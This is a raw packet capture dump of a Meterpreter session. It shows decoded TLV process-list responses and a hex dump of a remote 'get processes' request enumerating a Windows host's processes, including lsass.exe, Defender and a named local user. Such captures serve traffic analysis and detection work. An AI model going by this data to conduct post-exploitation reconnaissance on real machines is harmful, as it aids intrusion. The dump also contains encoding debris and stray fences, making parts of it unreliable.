usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e4c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e4c000000240001041273666370... [Value] ⍰⍰⍰�⍰L$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e5400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e54000000240001041273666370... [Value] ⍰⍰⍰�⍰T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000019f800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019f8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000191000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001910000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000003d400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003d4000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000017bc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017bc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�audiodg.exe⍰⍰⍰�audiodg.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c8c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c8c000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001a4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b3c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b3c000000240001041273666370... [Value] ⍰⍰⍰�⍰<$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001ad000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001ad0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000005400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000054000000240001041273666370... [Value] ⍰⍰⍰�T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000c4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000c40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
```

```
    Data: 0000005e400008ff0000000c000208fc00000b9000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b90000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000068000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000680000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000103000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001030000000240001041273666370... [Value] □□□�□0$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000006b000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006b0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014c800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014c8000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001db800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db8000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000101400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001014000000240001041273666370... [Value] □□□�□□$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000018ec00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018ec000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c4000000024... [TLV]
    Command: 0x0000005e [Length]: 46
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c40000000240001041273666370... [Value] □□□�□@$□□□sfcpro3-chemi\chem
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  20 28 0d 90 40 00 80 06 49 9c c0 a8 01 29 c0 a8    (..@...I....)..
0020  01 2a c6 50 11 5c a3 78 c7 07 2e 7d 34 ef 50 18   .*.P.\.x...}4.P.
0030  08 00 a3 be 00 00 00 00 2d d2 00 00 00 01 00 00   ........-.......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 38   cesses....)....8
0070  32 36 38 32 32 30 39 37 34 34 31 36 37 31 36 37   2682209744167167
0080  38 33 32 35 30 30 32 30 32 30 34 31 36 34 35 00   832500202041645.
0090  00 00 00 68 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...h@...........
00a0  00 00 00 00 00 00 00 1c 00 01 04 12 4e 54 20 41   ............NT A
00b0  55 54 48 4f 52 49 54 59 5c 53 59 53 54 45 4d 00   UTHORITY\SYSTEM.
00c0  00 00 00 1c 00 01 08 fd 53 79 73 74 65 6d 20 49   ........System I
00d0  64 6c 65 20 50 72 6f 63 65 73 73 00 00 00 00 1c   dle Process.....
00e0  00 01 08 fe 53 79 73 74 65 6d 20 49 64 6c 65 20   ....System Idle 
00f0  50 72 6f 63 65 73 73 00 00 00 00 3e 40 00 08 ff   Process....>@...
0100  00 00 00 0c 00 02 08 fc 00 00 00 04 00 00 00 0c   ................
0110  00 01 04 12 4e 2f 41 00 00 00 00 0f 00 01 08 fd   ....N/A.........
0120  53 79 73 74 65 6d 00 00 00 00 0f 00 01 08 fe 53   System.........S
0130  79 73 74 65 6d 00 00 00 00 42 40 00 08 ff 00 00   ystem....B@.....
0140  00 0c 00 02 08 fc 00 00 01 70 00 00 00 0c 00 01   .........p......
0150  04 12 4e 2f 41 00 00 00 00 11 00 01 08 fd 73 6d   ..N/A.........sm
0160  73 73 2e 65 78 65 00 00 00 00 11 00 01 08 fe 73   ss.exe.........s
0170  6d 73 73 2e 65 78 65 00 00 00 00 44 40 00 08 ff   mss.exe....D@...
0180  00 00 00 0c 00 02 08 fc 00 00 02 24 00 00 00 0c   ...........$....
0190  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
01a0  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
01b0  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 48   ..csrss.exe....H
01c0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 02 78   @..............x
01d0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
```

```
01e0  00 01 08 fd 77 69 6e 69 6e 69 74 2e 65 78 65 00   ....wininit.exe.
01f0  00 00 00 14 00 01 08 fe 77 69 6e 69 6e 69 74 2e   ........wininit.
0200  65 78 65 00 00 00 00 4a 40 00 08 ff 00 00 00 0c   exe....J@.......
0210  00 02 08 fc 00 00 02 fc 00 00 00 0c 00 01 04 12   ................
0220  4e 2f 41 00 00 00 00 15 00 01 08 fd 73 65 72 76   N/A.........serv
0230  69 63 65 73 2e 65 78 65 00 00 00 00 15 00 01 08   ices.exe........
0240  fe 73 65 72 76 69 63 65 73 2e 65 78 65 00 00 00   .services.exe...
0250  00 44 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .D@.............
0260  03 04 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0270  00 12 00 01 08 fd 6c 73 61 73 73 2e 65 78 65 00   ......lsass.exe.
0280  00 00 00 12 00 01 08 fe 6c 73 61 73 73 2e 65 78   ........lsass.ex
0290  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
02a0  08 fc 00 00 03 60 00 00 00 0c 00 01 04 12 4e 2f   .....`........N/
02b0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
02c0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
02d0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
02e0  08 ff 00 00 00 0c 00 02 08 fc 00 00 03 a4 00 00   ................
02f0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0300  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0310  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0320  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0330  08 fc 00 00 01 5c 00 00 00 0c 00 01 04 12 4e 2f   .....\........N/
0340  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0350  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0360  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0370  08 ff 00 00 00 0c 00 02 08 fc 00 00 01 98 00 00   ................
0380  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0390  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
03a0  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
03b0  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
03c0  08 fc 00 00 02 74 00 00 00 0c 00 01 04 12 4e 2f   .....t........N/
03d0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
03e0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
03f0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0400  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 24 00 00   .............$..
0410  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0420  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0430  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0440  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0450  08 fc 00 00 04 64 00 00 00 0c 00 01 04 12 4e 2f   .....d........N/
0460  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0470  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0480  63 68 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   chost.exe....J@.
0490  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 7c 00 00   .............|..
04a0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
04b0  08 fd 57 55 44 46 48 6f 73 74 2e 65 78 65 00 00   ..WUDFHost.exe..
04c0  00 00 15 00 01 08 fe 57 55 44 46 48 6f 73 74 2e   .......WUDFHost.
04d0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
04e0  00 02 08 fc 00 00 04 cc 00 00 00 0c 00 01 04 12   ................
04f0  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0500  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0510  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0520  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 05 64   @..............d
0530  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0540  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0550  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0560  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0570  00 02 08 fc 00 00 06 60 00 00 00 0c 00 01 04 12   .......`........
0580  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0590  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
05a0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
05b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 06 98   @...............
05c0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
05d0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
05e0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
05f0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0600  00 02 08 fc 00 00 07 94 00 00 00 0c 00 01 04 12   ................
0610  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0620  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0630  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0640  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 03 78   @..............x
0650  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0660  00 01 08 fd 73 70 6f 6f 6c 73 76 2e 65 78 65 00   ....spoolsv.exe.
0670  00 00 00 14 00 01 08 fe 73 70 6f 6f 6c 73 76 2e   ........spoolsv.
0680  65 78 65 00 00 00 00 46 40 00 08 ff 00 00 00 0c   exe....F@.......
0690  00 02 08 fc 00 00 08 c4 00 00 00 0c 00 01 04 12   ................
06a0  4e 2f 41 00 00 00 00 13 00 01 08 fd 61 72 6d 73   N/A.........arms
06b0  76 63 2e 65 78 65 00 00 00 00 13 00 01 08 fe 61   vc.exe.........a
06c0  72 6d 73 76 63 2e 65 78 65 00 00 00 00 54 40 00   rmsvc.exe....T@.
06d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 08 cc 00 00   ................
06e0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1a 00 01   ......N/A.......
06f0  08 fd 6d 44 4e 53 52 65 73 70 6f 6e 64 65 72 2e   ..mDNSResponder.
0700  65 78 65 00 00 00 00 1a 00 01 08 fe 6d 44 4e 53   exe.........mDNS
0710  52 65 73 70 6f 6e 64 65 72 2e 65 78 65 00 00 00   Responder.exe...
0720  00 6a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .j@.............
```

```
0730  08 d4 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0740  00 25 00 01 08 fd 41 70 70 6c 65 4d 6f 62 69 6c   .%....AppleMobil
0750  65 44 65 76 69 63 65 53 65 72 76 69 63 65 2e 65   eDeviceService.e
0760  78 65 00 00 00 00 25 00 01 08 fe 41 70 70 6c 65   xe....%....Apple
0770  4d 6f 62 69 6c 65 44 65 76 69 63 65 53 65 72 76   MobileDeviceServ
0780  69 63 65 2e 65 78 65 00 00 00 00 48 40 00 08 ff   ice.exe....H@...
0790  00 00 00 0c 00 02 08 fc 00 00 09 1c 00 00 00 0c   ................
07a0  00 01 04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd   ....N/A.........
07b0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 14   svchost.exe.....
07c0  00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
07d0  00 00 00 4e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...N@...........
07e0  00 00 09 30 00 00 00 0c 00 01 04 12 4e 2f 41 00   ...0........N/A.
07f0  00 00 00 17 00 01 08 fd 63 72 65 61 74 6f 72 2d   ........creator-
0800  77 73 2e 65 78 65 00 00 00 00 17 00 01 08 fe 63   ws.exe.........c
0810  72 65 61 74 6f 72 2d 77 73 2e 65 78 65 00 00 00   reator-ws.exe...
0820  00 48 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .H@.............
0830  09 84 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0840  00 14 00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0850  65 00 00 00 00 14 00 01 08 fe 73 76 63 68 6f 73   e.........svchos
0860  74 2e 65 78 65 00 00 00 00 48 40 00 08 ff 00 00   t.exe....H@.....
0870  00 0c 00 02 08 fc 00 00 09 94 00 00 00 0c 00 01   ................
0880  04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76   ..N/A.........sv
0890  63 68 6f 73 74 2e 65 78 65 00 00 00 00 14 00 01   chost.exe.......
08a0  08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
08b0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
08c0  09 9c 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
08d0  00 1f 00 01 08 fd 54 65 61 6d 56 69 65 77 65 72   ......TeamViewer
08e0  5f 53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00   _Service.exe....
08f0  1f 00 01 08 fe 54 65 61 6d 56 69 65 77 65 72 5f   .....TeamViewer_
0900  53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00 48   Service.exe....H
0910  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 09 a8   @...............
0920  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0930  00 01 08 fd 4d 73 4d 70 45 6e 67 2e 65 78 65 00   ....MsMpEng.exe.
0940  00 00 00 14 00 01 08 fe 4d 73 4d 70 45 6e 67 2e   ........MsMpEng.
0950  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0960  00 02 08 fc 00 00 09 e8 00 00 00 0c 00 01 04 12   ................
0970  4e 2f 41 00 00 00 00 14 00 01 08 fd 64 61 73 48   N/A.........dasH
0980  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0990  64 61 73 48 6f 73 74 2e 65 78 65 00 00 00 00 56   dasHost.exe....V
09a0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 90   @...............
09b0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1b   ........N/A.....
09c0  00 01 08 fd 4d 65 6d 6f 72 79 20 43 6f 6d 70 72   ....Memory Compr
09d0  65 73 73 69 6f 6e 00 00 00 00 1b 00 01 08 fe 4d   ession.........M
09e0  65 6d 6f 72 79 20 43 6f 6d 70 72 65 73 73 69 6f   emory Compressio
09f0  6e 00 00 00 00 46 40 00 08 ff 00 00 00 0c 00 02   n....F@.........
0a00  08 fc 00 00 0e 84 00 00 00 0c 00 01 04 12 4e 2f   ..............N/
0a10  41 00 00 00 00 13 00 01 08 fd 4e 69 73 53 72 76   A.........NisSrv
0a20  2e 65 78 65 00 00 00 00 13 00 01 08 fe 4e 69 73   .exe.........Nis
0a30  53 72 76 2e 65 78 65 00 00 00 00 44 40 00 08 ff   Srv.exe....D@...
0a40  00 00 00 0c 00 02 08 fc 00 00 0e 08 00 00 00 0c   ................
0a50  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
0a60  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
0a70  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 4a   ..csrss.exe....J
0a80  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0f 60   @..............`
0a90  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15   ........N/A.....
0aa0  00 01 08 fd 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65   ....winlogon.exe
0ab0  00 00 00 00 15 00 01 08 fe 77 69 6e 6c 6f 67 6f   .........winlogo
0ac0  6e 2e 65 78 65 00 00 00 00 40 40 00 08 ff 00 00   n.exe....@@.....
0ad0  00 0c 00 02 08 fc 00 00 05 f0 00 00 00 0c 00 01   ................
0ae0  04 12 4e 2f 41 00 00 00 00 10 00 01 08 fd 64 77   ..N/A.........dw
0af0  6d 2e 65 78 65 00 00 00 00 10 00 01 08 fe 64 77   m.exe.........dw
0b00  6d 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   m.exe....^@.....
0b10  00 0c 00 02 08 fc 00 00 0b 60 00 00 00 24 00 01   .........`...$..
0b20  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0b30  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0b40  00 13 00 01 08 fd 73 69 68 6f 73 74 2e 65 78 65   ......sihost.exe
0b50  00 00 00 00 13 00 01 08 fe 73 69 68 6f 73 74 2e   .........sihost.
0b60  65 78 65 00 00 00 00 60 40 00 08 ff 00 00 00 0c   exe....`@.......
0b70  00 02 08 fc 00 00 0d 80 00 00 00 24 00 01 04 12   ...........$....
0b80  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0b90  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 14   emi-usuario.....
0ba0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0bb0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0bc0  65 78 65 00 00 00 00 64 40 00 08 ff 00 00 00 0c   exe....d@.......
0bd0  00 02 08 fc 00 00 0b c0 00 00 00 24 00 01 04 12   ...........$....
0be0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0bf0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 16   emi-usuario.....
0c00  00 01 08 fd 74 61 73 6b 68 6f 73 74 77 2e 65 78   ....taskhostw.ex
0c10  65 00 00 00 00 16 00 01 08 fe 74 61 73 6b 68 6f   e.........taskho
0c20  73 74 77 2e 65 78 65 00 00 00 00 62 40 00 08 ff   stw.exe....b@...
0c30  00 00 00 0c 00 02 08 fc 00 00 05 2c 00 00 00 24   ...........,...$
0c40  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0c50  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0c60  00 00 00 15 00 01 08 fd 65 78 70 6c 6f 72 65 72   ........explorer
0c70  2e 65 78 65 00 00 00 00 15 00 01 08 fe 65 78 70   .exe.........exp
```

```
0c80  6c 6f 72 65 72 2e 65 78 65 00 00 00 00 6c 40 00   lorer.exe....l@.
0c90  08 ff 00 00 00 0c 00 02 08 fc 00 00 10 bc 00 00   ................
0ca0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0cb0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0cc0  6f 00 00 00 00 1a 00 01 08 fd 52 75 6e 74 69 6d   o.........Runtim
0cd0  65 42 72 6f 6b 65 72 2e 65 78 65 00 00 00 00 1a   eBroker.exe.....
0ce0  00 01 08 fe 52 75 6e 74 69 6d 65 42 72 6f 6b 65   ....RuntimeBroke
0cf0  72 2e 65 78 65 00 00 00 00 78 40 00 08 ff 00 00   r.exe....x@.....
0d00  00 0c 00 02 08 fc 00 00 17 c0 00 00 00 24 00 01   .............$..
0d10  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0d20  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0d30  00 20 00 01 08 fd 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d40  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d50  00 20 00 01 08 fe 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d60  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d70  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0d80  16 24 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .$...$....sfcpro
0d90  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0da0  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 53 65   uario.........Se
0db0  61 72 63 68 55 49 2e 65 78 65 00 00 00 00 15 00   archUI.exe......
0dc0  01 08 fe 53 65 61 72 63 68 55 49 2e 65 78 65 00   ...SearchUI.exe.
0dd0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0de0  00 00 18 88 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
0df0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0e00  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
0e10  54 61 62 54 69 70 2e 65 78 65 00 00 00 00 13 00   TabTip.exe......
0e20  01 08 fe 54 61 62 54 69 70 2e 65 78 65 00 00 00   ...TabTip.exe...
0e30  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
